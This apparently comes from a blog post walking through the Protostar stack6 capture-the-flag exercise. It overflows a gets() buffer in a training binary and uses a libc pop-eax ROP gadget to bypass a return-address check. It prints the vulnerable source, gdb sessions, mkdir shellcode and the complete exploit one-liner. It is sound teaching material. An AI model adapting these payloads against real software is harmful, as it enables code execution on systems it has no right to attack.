Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/stack6 input path please: path got path path
Exploit
Make the program spawn shellcode.
#include <stdlib.h>; #include <unistd.h>; #include <stdio.h>; #include <string.h>; void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
We can see the challenge will be to overflow the stack when gets() is called and take control of the program flow when getpath() returns.
First of we have to use the same trick from previous challenges and corrupt the memory stack and using stdin to overflow the variable “buffer” which gets filled using gets() and 76 bytes.
Let’s see if we can crash the program
user@protostar:~$ perl -e 'print "A"x76' |/opt/protostar/bin/stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
It appears that our data of A’s (0x41) was able to cause an segfault after 76 bytes. But 76 bytes enough to overwrite EIP. After some experimentation the right number of bytes to overwrite EIP is 84 bytes.
user@protostar:~$ perl -e 'print "A"x(84-4) . "B"x4'>stack6_input.txt && gdb -q /opt/protostar/bin/stack6 Reading symbols from /opt/protostar/bin/stack6...done. (gdb) r <stack6_input.txt Starting program: /opt/protostar/bin/stack6 <stack6_input.txt input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r eax 0x5e 94 ecx 0x0 0 edx 0xb7fd9340 -1208118464 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff7c0 0xbffff7c0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x210296 [ PF AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
We can see from the source that if our buffer EIP over bytes matches 0xbfxxxxxx the program will exit.
Let’s confirm this assumption.
user@protostar:~$ perl -e 'print "A"x(84-4) . "\x11\x22\x33\xbf"'>stack6_input.txt && gdb -q /opt/protostar/bin/stack6 Reading symbols from /opt/protostar/bin/stack6...done. (gdb) r <stack6_input.txt Starting program: /opt/protostar/bin/stack6 <stack6_input.txt input path please: bzzzt (0xbf332211) Program exited with code 01.
So far no surprises.
Now we need to decide what shellcode to use. I will use a Linux 32 bit shellcode that is 36 bytes long (more than adequate size). This shellcode can be obtained from http://shell-storm.org/shellcode/files/shellcode-542.php
The shellcode will create the directory “hacked”
/* * This shellcode will do a mkdir() of 'hacked' and then an exit() * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed" "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68" "\x61\x63\x6b\x65\x64\x23"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
Let’s double check that the shellcode doesn’t have any nasty surprises by running it through ndisasm.
$ echo -e "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" |ndisasm -b 32 - 00000000 EB16 jmp short 0x18 00000002 5E pop esi 00000003 31C0 xor eax,eax 00000005 884606 mov [esi+0x6],al 00000008 B027 mov al,0x27 0000000A 8D1E lea ebx,[esi] 0000000C 66B9ED01 mov cx,0x1ed 00000010 CD80 int 0x80 00000012 B001 mov al,0x1 00000014 31DB xor ebx,ebx 00000016 CD80 int 0x80 00000018 E8E5FFFFFF call dword 0x2 0000001D 6861636B65 push dword 0x656b6361 00000022 64230A and ecx,[fs:edx]
We see a typical jmp call pop sequence for retrieving the string “hacked”=6861636B656423 at location 1D.
We have a syscall int 0x80 0x27 which is mkdir(). Search for x27 at http://syscalls.kernelgrok.com/
A second syscall for 0x1 which exit()
Everything looks kosher.
Let’s replace the A’s which caused the program to crash previously with nops=0x90 + shellcode + remaining A’s. Making sure that the exploit equals 84 bytes in total
user@protostar:~$ perl -e 'print "\x90"x(84-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "A"x4'>stack6_input.txt && gdb /opt/protostar/bin/stack6 -q Reading symbols from /opt/protostar/bin/stack6...done. (gdb) r <stack6_input.txt Starting program: /opt/protostar/bin/stack6 <stack6_input.txt input path please: got path ?????????????????????????????????????????????^1??F?'?f??̀?AAAA?????hacked#AAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x5e 94 ecx 0x0 0 edx 0xb7fd9340 -1208118464 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff770 0xbffff770 ebp 0x2364656b 0x2364656b esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x210292 [ AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
We generated the payload using perl to print the output to a file and then we ran the program through gdb and read the payload file.
Wonderful, EIP contains 0x41414141
Now we need to figure out the start of the shellcode memory location.
Let’s discover the memory location by printing out the stack
(gdb) x /90xb $esp-84 0xbffff71c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff724: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff72c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff734: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff73c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff744: 0x90 0x90 0x90 0x90 0xeb 0x16 0x5e 0x31 0xbffff74c: 0xc0 0x88 0x46 0x06 0xb0 0x27 0x8d 0x1e 0xbffff754: 0x66 0xb9 0xed 0x01 0xcd 0x80 0xb0 0x01 0xbffff75c: 0x41 0x41 0x41 0x41 0xe8 0xe5 0xff 0xff 0xbffff764: 0xff 0x68 0x61 0x63 0x6b 0x65 0x64 0x23 0xbffff76c: 0x41 0x41 0x41 0x41 0x00 0x85 0x04 0x08 0xbffff774: 0x00 0x00
Looks like the nops start at memory location 0xbffff71c in reverse byte order 0x1cf7ffbf
We know that this memory location will cause the program to be blocked at this check
if((ret & 0xbf000000) == 0xbf000000)
Let’s confirm this by replacing the A’s with the memory address
user@protostar:~$ perl -e 'print "\x90"x(84-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x1c\xf7\xff\xbf"'>stack6_input.txt && gdb /opt/protostar/bin/stack6 -q Reading symbols from /opt/protostar/bin/stack6...done. (gdb) r < stack6_input.txt Starting program: /opt/protostar/bin/stack6 < stack6_input.txt input path please: bzzzt (0xbffff71c) Program exited with code 01.
Yep, we received the “bzzzt” message.
Now in order to get around the memory location restriction on EIP we will employ a technique called Return Oriented Programming (ROP).
I’ll start by installing ropeme from https://github.com/packz/ropeme a utility that will aid us in generating ROP gadgets.
Once installed we will generate the gadgets from libc. Why libc? Because the binary was compiled with libc.
(gdb) i proc mappings process 10478 cmdline = '/opt/protostar/bin/stack6' cwd = '/home/user' exe = '/opt/protostar/bin/stack6' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6 0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6 0xb7e96000 0xb7e97000 0x1000 0 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so 0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so 0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so 0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so 0xb7fd9000 0xb7fdc000 0x3000 0 0xb7fe0000 0xb7fe2000 0x2000 0 0xb7fe2000 0xb7fe3000 0x1000 0 [vdso] 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so 0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so 0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so 0xbffeb000 0xc0000000 0x15000 0 [stack]
ROPeMe> generate /lib/libc-2.11.2.so Generating gadgets for /lib/libc-2.11.2.so with backward depth=3 It may take few minutes depends on the depth and file size... Processing code block 1/2 Processing code block 2/2 Generated 5670 gadgets Dumping asm gadgets to file: libc-2.11.2.so.ggt ... OK
Now search for a pop ret gadget
ROPeMe> search pop ? Searching for ROP gadget: pop ? with constraints: [] 0x2992cL: pop ds ;; 0x2993fL: pop ds ;; 0x29be6L: pop ds ;; 0x206acL: pop eax ;; 0xcebe1L: pop eax ;; 0x1047a9L: pop eax ;; 0x16a7dL: pop ebp ;; 0x16aadL: pop ebp ;; 0x16ac3L: pop ebp ;; 0x74886L: pop ebx ;; 0x972f2L: pop ebx ;; 0x975f2L: pop ebx ;; 0x13519dL: pop ecx ;; 0x2bca6L: pop edi ;; 0x2bceaL: pop edi ;; 0x2c29dL: pop edi ;; 0x1a9eL: pop edx ;; 0x1aa2L: pop edx ;; 0x1aa6L: pop edx ;; 0x1a36L: pop es ;; 0x74b89L: pop esi ;; 0x74f4fL: pop esi ;; 0x3848L: pop esp ;; 0x104799L: pop esp ;; 0x1a97L: pop ss ;; --More-- (24/26)
Tip: stay away from pop ebp ret gadgets because they tend to screw things up. Sorry for being brief but you can research the rest at much better pages.
I think we can take this gadget “0x206acL: pop eax ;;”
We will use this offset and the libc base memory address to determine the actual memory location. 0x206ac + 0xb7e97000 = B7EB76AC
Let’s confirm this
(gdb) x /32ib 0xB7EB76AC 0xb7eb76ac <__ctype_get_mb_cur_max+28>: pop %eax 0xb7eb76ad <__ctype_get_mb_cur_max+29>: ret
Looking good.
Let’s put this address into our exploit payload.
I need to be honest and say that I did a lot more trial and error to get this to work than I anticipated. I had issues with my shellcode being corrupt because of where I placed it in the payload. I finally got it working and the result is here. Sorry for not going into too much detail on how I got it working but maybe in another post.
user@protostar:~$ ls -la total 57 drwxr-xr-x 6 user user 200 Jun 29 21:50 . drwxr-xr-x 6 root root 60 Oct 31 2012 .. -rw------- 1 user user 39396 Jun 29 20:29 .bash_history -rw-r--r-- 1 user user 220 Apr 10 2010 .bash_logout -rw-r--r-- 1 user user 3184 Apr 10 2010 .bashrc drwxr-xr-x 10 user user 320 Jun 29 20:18 distorm drwxr-xr-x 12 user user 320 Jun 29 20:22 distorm64 -rw------- 1 user user 47 Jun 28 23:01 .lesshst drwxr-xr-x 4 user user 180 Jun 29 12:58 peda -rw-r--r-- 1 user user 675 Apr 10 2010 .profile drwxr-xr-x 4 user user 140 Jun 29 20:24 ropeme -rw-r--r-- 1 user user 92 Jun 29 21:49 stack6_input.txt -rw------- 1 user user 670 Jun 29 12:58 .viminfo
No directory named “hacked”
Payload [nops] + [shellcode] + [nops] + [B’s] + [ROP to pop eax ret] + [A’s] + [EIP to front of stack]
I also increased the size of the payload to 92 bytes to accommodate for the ROP gadget.
user@protostar:~$ perl -e 'print "\x90"x(92-36-30-4-4-4-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x90"x30 . "B"x4 . "\xac\x76\xeb\xb7" . "A"x4 . "\x1c\xf7\xff\xbf"' | /opt/protostar/bin/stack6 input path please: got path ???????????^1??F?'?f??̀?1?̀?????hacked#???????????????????v뷐???????BBBB?v?AAAA???
Check that we have a new directory named “hacked” exists
user@protostar:~$ ls -la drwxr-xr-x 7 user user 220 Jun 29 21:59 . drwxr-xr-x 6 root root 60 Oct 31 2012 .. drwxr-xr-x 2 root user 40 Jun 29 21:59 hacked
Thank you
Pingback: ROP (Return Orientated Programming) | youremindmeofmymother